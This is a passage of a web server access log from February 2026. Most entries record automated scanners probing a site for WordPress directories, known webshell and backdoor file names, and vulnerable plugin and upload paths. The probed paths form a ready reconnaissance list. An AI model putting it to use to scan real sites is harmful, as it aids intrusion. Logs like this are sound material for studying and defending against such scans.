HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:07:15 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:09:33 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:09:36 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:09:46 +0300] "GET /karak.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:10:06 +0300] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:10:22 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:20 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:16:45 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:17:21 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:17:34 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:18:03 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:18:03 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:20:10 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:20:25 +0300] "GET //class.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:21:04 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:21:40 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:21:57 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:00 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:01 +0300] "GET /wp-includes/ID3/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:24 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:28 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:41 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:43 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:49 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:52 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:55 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:58 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:23:55 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:23:57 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:05:32 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:06:26 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:06:57 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:06:59 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:06 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:10 +0300] "GET /tcp.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:13:19 +0300] "GET /cbrfo.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:18:17 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:18:34 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:18:40 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:36 +0300] "GET /jane.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:20:19 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 94.247.172.129 - - [24/Feb/2026:04:22:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)" 3.86.17.29 - - [24/Feb/2026:05:59:58 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 205.210.31.78 - - [24/Feb/2026:05:22:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 4.232.88.81 - - [24/Feb/2026:07:24:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 192.36.109.105 - - [24/Feb/2026:07:01:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604" 49.51.183.15 - - [24/Feb/2026:07:05:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.40.104.255 - - [24/Feb/2026:08:14:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.149.188 - - [24/Feb/2026:07:57:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.9.103.107 - - [24/Feb/2026:08:03:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1" 20.111.44.121 - - [24/Feb/2026:09:25:18 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.141.4.186 - - [24/Feb/2026:09:59:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 27.46.75.4 - - [24/Feb/2026:11:38:08 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3703.156 Safari/537.36 LBBROWSER" 146.70.178.164 - - [24/Feb/2026:12:47:37 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 45.94.31.242 - - [24/Feb/2026:12:51:16 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [24/Feb/2026:12:51:17 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 146.70.178.164 - - [24/Feb/2026:12:51:58 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:52:18 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:43 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:43 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:38 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:48 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:52 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:49:19 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:49:30 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:49:59 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:51:18 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:52:08 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:08 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:32 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:14 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:23 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:55:10 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:56:16 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:50:31 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:50:49 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:52:49 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:51 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:51 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:51 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:51 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:52 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:52 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:52 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:53 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:53 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:55:00 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:56:08 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:57:08 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:57:18 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 43.135.183.82 - - [24/Feb/2026:12:57:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.23.215.109 - - [24/Feb/2026:13:09:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 146.70.178.164 - - [24/Feb/2026:12:48:15 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:26 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:29 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:29 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:51:29 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:51:37 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:56:59 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:29 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:41 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:49:50 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:50:57 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:51:08 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:52:28 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:55:30 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:56:26 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:56:47 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:57:24 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:57:24 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:57:25 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:57:25 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:48 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:49:00 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:49:10 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:49:40 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:50:09 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:50:19 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 45.94.31.242 - - [24/Feb/2026:12:51:16 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [24/Feb/2026:12:51:17 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 146.70.178.164 - - [24/Feb/2026:12:52:58 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:55:42 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:55:52 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:55:56 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:56:37 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:57:34 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:02 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:02 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:02 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:03 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:03 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:03 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:04 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:04 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 45.94.31.242 - - [24/Feb/2026:12:51:18 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [24/Feb/2026:12:51:19 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 146.70.178.164 - - [24/Feb/2026:12:51:46 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:52:38 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:55:22 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:10 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:12 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:12 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:12 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:12 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:13 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:13 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:13 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:47:14 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:48:51 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:50:42 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 45.94.31.242 - - [24/Feb/2026:12:51:15 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [24/Feb/2026:12:51:16 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.94.31.242 - - [24/Feb/2026:12:51:18 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 146.70.178.164 - - [24/Feb/2026:12:53:16 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:53:18 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:01 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:02 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:02 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:02 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:02 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:03 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:03 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:03 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:03 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 146.70.178.164 - - [24/Feb/2026:12:54:30 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 173.252.82.13 - - [24/Feb/2026:14:45:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 199.244.88.223 - - [24/Feb/2026:14:17:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 98.89.43.204 - - [24/Feb/2026:14:33:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 23.100.90.148 - - [24/Feb/2026:14:18:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 98.89.43.204 - - [24/Feb/2026:14:33:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 182.44.10.67 - - [24/Feb/2026:14:51:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 80.210.225.0 - - [24/Feb/2026:14:09:24 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 120.238.159.189 - - [24/Feb/2026:14:33:46 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 87.121.84.97 - - [24/Feb/2026:13:16:09 +0300] "GET /theme/assets/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 17.241.75.155 - - [24/Feb/2026:13:39:32 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.75.155 - - [24/Feb/2026:13:39:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 43.157.172.39 - - [24/Feb/2026:13:48:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.249.4 - - [24/Feb/2026:15:31:59 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 205.210.31.148 - - [24/Feb/2026:15:39:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 139.59.32.166 - - [24/Feb/2026:15:42:30 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.152.72.247 - - [24/Feb/2026:18:31:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.119.118 - - [24/Feb/2026:18:30:21 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 119.28.177.175 - - [24/Feb/2026:19:21:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 68.221.129.30 - - [24/Feb/2026:19:29:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.197.25.32 - - [24/Feb/2026:19:03:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 68.221.137.35 - - [24/Feb/2026:19:21:20 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 24.144.87.96 - - [24/Feb/2026:20:56:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 110.166.71.39 - - [24/Feb/2026:21:35:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.209.173.238 - - [24/Feb/2026:21:05:21 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 183.239.109.76 - - [24/Feb/2026:23:15:12 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; 